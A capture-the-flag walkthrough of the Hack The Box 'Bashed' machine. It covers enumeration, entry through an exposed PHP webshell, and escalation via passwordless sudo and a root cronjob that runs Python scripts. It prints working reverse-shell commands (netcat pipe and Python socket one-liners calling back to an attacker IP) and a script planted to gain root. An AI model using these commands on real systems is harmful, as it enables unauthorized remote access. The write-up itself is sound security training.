Hack The Box - Bashed
Enumeration
Nmap scans show only port 80 is open, running Apache 2.4.18 for Ubuntu.
Nmap scan report for 10.10.10.68
Host is up, received user-set (0.050s latency).
Scanned at 2020-01-20 23:22:13 EST for 51s
Not shown: 65534 closed ports
Reason: 65534 resets
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
The home page talks about a PHP webshell called bashed
that the owner created, on this very site. Further investigation with Gobuster shows the below directories.
/about.html (Status: 200) [Size: 8190]
/config.php (Status: 200) [Size: 0]
/contact.html (Status: 200) [Size: 7802]
/css (Status: 301) [Size: 308]
/dev (Status: 301) [Size: 308]
/fonts (Status: 301) [Size: 310]
/images (Status: 301) [Size: 311]
/index.html (Status: 200) [Size: 7742]
/index.html (Status: 200) [Size: 7742]
/js (Status: 301) [Size: 307]
/php (Status: 301) [Size: 308]
/single.html (Status: 200) [Size: 7476]
/uploads (Status: 301) [Size: 312]
Initial Shell
Enumerate with web shell
Navigating to the /dev
direcotry, it brings us to a directory listing, which includes a copy of phpbash.php
. Clicking on phpbash.php
immediatly places us into the bashed
webshell mentioned on the homepage. With the id
and whoami
commands, we can see that we’re running as www-data
.
Some further poking with uname -a
and cat /etc/issue
shows that we’re on a Ubuntu 16.04 system, running kernel version 4.4.0.
We can confirm with which nc
that netcat is already installed, which will help with any reverse shells going forward. We can also see a list of user directories with ls -la /home
.
Besides the obvious arrexel
username that we assumed from the homepage, there appears to be another user called scriptmanager
. Both directories look to be readable by www-data
. Looking in the /home/scriptmanager
directory shows it’s empty, and none of the files are readbale by our current user. We can however navigate to /home/arrexel
and read user.txt
.
Privlege Escalation
Sudoers file
At this point, it makes sense to check if maybe www-data
has more permissions then it seems. We can use sudo -l
to see if there are any entires in the sudoers file, which might allow us access as a different user.
Looks like www-data
can use sudo
to run any command as scriptmanager
with no password needed.
Upgrading the shell
When we try to run anything as sudo
however, we get a message that no tty present. This is common in webshells. It also means it’s time to upgrade our shell with netcat.
We first need to start a listener on our machine with nc -lvnp 7500
. Once that’s setup, we can run /bin/sh | nc 10.10.14.12 7500
on the webshell to kick off the reverse shell.
NOTE: Although
nc
is installed, it’s the OpenBSD version, which does not include the-e
option to execute a program on conneciton. Instead, we have to pipe/bin/sh
into thenc
command to get the shell.
Looks like this is very unstable, and dies right away. Let’s try a Python reverse shell with the below command. Don’t forget to restart your nc
listener as well.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",7500));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
It works! Now we have to upgrade the shell to properly run the sudo
commands we need. We can upgrade to a good bash
shell with python -c 'import pty;pty.spawn("/bin/bash")'
. Once that shell is spawned, we need to issue some commands to get a good TTY shell.
CTRL-Z # Sends the netcat session to the background
stty raw -echo # Properly sets terminal to pass CTRL-* commands to the netcat session
fg # Brings the netcat sesison back up
Upgrading the shell (again!)
Now that we have access to a TTY shell, we can confirm that using sudo -u scriptmanager
before a command will run it as scriptmanager
without the need for a password. HOwever, this can get tiresome really fast. To bypass this, we can simply run sudo -u scriptmanager /bin/bash
, which will open a bash
shell as scriptmanager
.
Poking the scripts folder
Now that we’re finally in a solid shell as scriptmanager
, we can go poking around.
Running ls -la /
shows a directory called /scripts
at the drive root, and it’s owned by scriptmanager
.
Inside /scripts
are two files, test.py
and test.txt
. When we read test.py
, we can see that it simply reads the content of test.txt
.
We can modify the file to test it out with a ping
back to our machine.
echo "import os" >> test.py
echo "ip = '10.10.14.12'" >> test.py
echo "command = os.system('ping -c 5 ' + ip)" >> test.py
This adds the lines to the existing test.py
scirpt. We can see the new file below:
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
import os
ip = '10.10.14.12'
command = os.system('ping -c 5 ' + ip)
When we run the script with python test.py
, we can see the pings going thorugh. We can test this on our end with a tcpdump
listener using tcpdump -i tun0 icmp
.
Adding our own exploit
In the process of testing, I noticed immediatly that the 5 pings from the test.py
script were followed up by another 5 pings within the time it took me to take a screenshot. This leads me to beleive that there must be a cronjob running to execute scripts in the /scripts
folder. If this is the case, then we have our path to root
.
We can make a simple python script that will initiate a reverse shell when run, using the below command:
echo "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.12\",7700));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);" > root_shell.py
We setup the listener with nc -lvnp 7700
and wait. Sure enough, we get a shell back after a short while.
We got root
! Let’s grab the flag.
When we check the cron
list for root
, we can see that it was in fact running every *.py
script in /scripts
.